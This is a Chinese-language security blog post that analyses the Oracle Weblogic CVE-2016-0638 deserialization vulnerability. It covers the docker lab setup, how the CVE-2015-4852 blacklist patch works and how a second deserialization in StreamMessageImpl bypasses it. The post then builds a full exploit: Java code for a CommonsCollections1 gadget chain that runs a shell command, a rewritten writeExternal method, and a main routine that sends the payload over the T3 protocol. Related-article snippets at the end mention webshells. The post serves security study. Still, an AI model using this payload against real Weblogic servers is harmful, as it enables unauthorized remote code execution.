Weblogic CVE-2016-0638反序列化漏洞

VSole2021-08-30 17:58:31

开始着手对Weblogic历史漏洞进行剖析,周末分析了Weblogic历史上的严重漏洞,一次针对CVE-2015-4852漏洞的补丁绕过。原理虽然简单,但是时间太过久远,一些关键点被历史的长河淹没。找了很多师傅们的博客文章,关于如何封装之前的利用链,大多是用的https://github.com/5up3rc/weblogic_cmd中的现有功能。打算从补丁分析、补丁绕过、利用构造三大方面开始分析,揭开分析Weblogic漏洞的序幕。

漏洞介绍

该漏洞是早期Weblogic漏洞中经典的二次反序列化漏洞,主要利用该姿势绕过CVE-2015-4852漏洞补丁。二次反序列化的点在weblogic.jms.common.StreamMessageImpl类的readExternal方法中,并且没有使用ServerChannelInputStream中的反序列化功能,从一个全新的ObjectInputStream进行反序列化,从而绕过了黑名单的限制。

环境搭建

0x1 自动化搭建

现成环境

可以采用现成的docker环境,执行以下命令生成对应版本的docker

docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

自动搭建

利用Docker自动化搭建,在github下载搭建代码

[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)

本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.shdocker-compose up -d

0x2 配置调试环境

脚本会自动开启8453调试端口,配置idea并进行连接

0x3 补丁安装

将下载好的补丁 p21984589_1036_Generic.zip 解压放在/weblogic/oracle/middleware/utils/bsu/cache_dir 中

后续进入/weblogic/oracle/middleware/utils/bsu 目录进行补丁安装,需注意安装补丁时将java运行内存调整到合适大小

cd /weblogic/oracle/middleware/utils/bsu./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=S8C2 -prod_dir=/weblogic/oracle/middleware/wlserver

查看已安装补丁

补丁分析及绕过

weblogic的补丁真是难找,找了半天总算是下到了 p21984589_1036_Generic

0x1 补丁分析

在补丁包中发现patch的代码,具体jar包为BUG21984589_1036013.jar,补丁在resolveClass方法中添加了过滤函数,利用ClassFilter.isBlackListed函数进行黑名单过滤。

黑名单拦截的Java类如下,上个漏洞的命令执行方法被堵死了,org.apache.commons.collections.functors和javassist以及xsltc.trax等类型被过滤。

0x2 绕过思路

因为补丁是在weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream#resolveClass这里做的patch,我们只需要找到一处不使用ServerChannelInputStream进行的反序列化即可绕过黑名单的限制。CVE-2016-0638采用了weblogic.jms.common.StreamMessageImpl来绕过黑名单,该类继承了Externalizable接口,重点关注在反序列化时执行的readExternal方法。

在864行调用的readObject函数是在858行new出来的ObjectInputStream对象,因此没有过滤机制。所以绕过思路就是将cve-2015-4852的poc封装进this.payload中绕过黑名单,从而在var5调用readObject函数的时候触发之前的反序列化漏洞。

0x3 可行性分析

那么这里到底能不能传入我们可控的数据呢?需要进一步的研究分析,重点关注这里的this.payload变量是怎么来的

this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);...this.writeObject(var5.readObject());

由StreamMessageImpl类的readExternal方法得知,this.payload为PayloadFactoryImpl.createPayload创建得到,该部分代码如下

createPayload函数中首先从InputStream流中获取一个int类型的数据,之后将输入流和int类型数据传递给copyPayloadFromStream函数。该部分代码如下

copyPayloadFromStream从反序列化获取的长度和ChunkSize的2倍进行比较选出最小的那个,并和输入流一起传入到Chunk.createOneSharedChunk函数中进行如下操作,最后返回了一个包含指定长度输入流的chunk块。

后续代码如下,从创建的Chunk中获取数据并进行反序列化。

BufferInputStream var4 = this.payload.getInputStream();ObjectInputStream var5 = new ObjectInputStream(var4);this.writeObject(var5.readObject());

因此从代码层面讲,只需在序列化的时候填充相应的数据就可以实现指定数据的二次反序列化,听起来很神奇,下面看一看怎么构造利用代码。

Playload构造

在网上找了半天关于这块的分析,发现大佬们基本采用了该项目https://github.com/5up3rc/weblogic_cmd进行的利用,笔者打算参照该项目以及其他师傅们的项目思路从零构造利用代码。完整代码参见https://github.com/BabyTeam1024/CVE-2016-0638

0x1 重写StreamMessageImpl序列化方法

需要修改StreamMessageImpl类的writeExternal代码实现写入自定义数据。再次分析readExternal的操作,提取出如下关键代码:

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {    super.readExternal(var1);    var1.readByte();    var1.readInt();    var1.readObject();......    }

我们需要做的就是在序列化的操作与反序列化中的操作对应起来。因此在序列化时需要实现如下代码

public void writeExternal(ObjectOutput paramObjectOutput) throws IOException {    super.writeExternal(paramObjectOutput);    paramObjectOutput.writeByte(1);    paramObjectOutput.writeInt(DataSize);    paramObjectOutput.write(DataBuffer);

关于DataSize和DataBuffer的相关分析在上面的可行性分析中讨论过。我们将StreamMessageImpl类代码从jar包中提取出来,因此可以任意增删代码。可以删除不必要的代码(比如readExternal方法在序列化时不太需要),并添加如下关键代码,为二次反序列化做准备

public final byte[] getDataBuffer() {    return this.buffer;}
public final int getDataSize() {    return this.length;}
public final void setDataBuffer(byte[] var1, int var2) {    this.buffer = var1;    this.length = var2;}

因为StreamMessageImpl继承了抽象类MessageImpl,一些方法还不能删除。

0x2 导入依赖库

导入ysoserial中的permit-reflect-0.3.jar以及StreamMessageImpl中的一些必要依赖

0x3 整合封装

首先将cc1链封装成函数getObject

public byte[] getObject() throws Exception {    Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})        };    Transformer transformerChain = new ChainedTransformer(transformers);    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);    String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";    final Constructor constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];    constructor.setAccessible(true);    InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
    final Map testMap = new HashMap();
    Map evilMap = (Map) Proxy.newProxyInstance(        testMap.getClass().getClassLoader(),        testMap.getClass().getInterfaces(),        secondInvocationHandler);    final Constructor ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];    ctor.setAccessible(true);    final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);    byte[] serializeData=serialize(handler);    return serializeData;}

之后在main函数中获取构造好的利用对象并进行反序列化操作,接着赋值给StreamMessageImpl类的buffer对象,代码如下。

public static void main(String[] args) throws Exception {        byte[] payloadObject = new cve_2016_0638().getObject();        StreamMessageImpl streamMessage = new StreamMessageImpl();        streamMessage.setDataBuffer(payloadObject,payloadObject.length);        byte[] payload2 = Serializables.serialize(streamMessage);        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);    }

总结

通过分析CVE-2016-0638学习到了构造反序列化漏洞payload的一些新方法,通过修改源码实现我们设计的功能。在后续weblogic漏洞学习中还是重点分析从0到1的过程,以及学习一些不出网回显利用和内存马的编写方式。

参考文章

https://y4er.com/post/weblogic-cve-2016-0638/

https://paper.seebug.org/584/

https://github.com/5up3rc/weblogic_cmd


序列化weblogic
本作品采用《CC 协议》,转载必须注明作者和本文链接
weblogic T3 attack&cve
2023-03-29 10:07:32
定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了黑名单列表为:+org.apache.c
接到一个紧急测试任务,只有一个目标名称和一个ip。这样的话webshell的url就无法正常访问了)带上cookie即可正常连接。连接成功后,为了稳定webshell,我们尝试将webshell写入到根目录和静态文件的目录,但是仍会受到强制跳转的影响。于是将webshell内容写入到了在登陆前就能访问的jsp正常文件中,来稳定shell。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(J
我记得大概是15年年底时,冰蝎作者rebeyond第一个公布出Weblogic T3反序列化回显方法,而且给出了相关的代码。早期的Weblogic序列化利用工具,为了实现T3协议回显,都会向服务器上写入一个临时文件。
WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
4月17日,国家信息安全漏洞共享平台(CNVD)公开了Weblogic序列化远程代码执行漏洞(CNVD-C-2019-48814/CVE-2019-2725),由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞可获取服务器权限,实现远程代码执行。官方紧急补丁(CVE-2019-2725)已于4月26日发布。 近日,有消息称CVE-201
前言护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。
最近在网上看到有大佬公布了一个有意思的 Weblogic SSRF ,本质上其实是 Oracle JDBC Driver 中的类在反序列化操作时会自动发送 JDBC 连接,结合 Weblogic T3 反序列化操作就可以实现 SSRF。
该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。
VSole
网络安全专家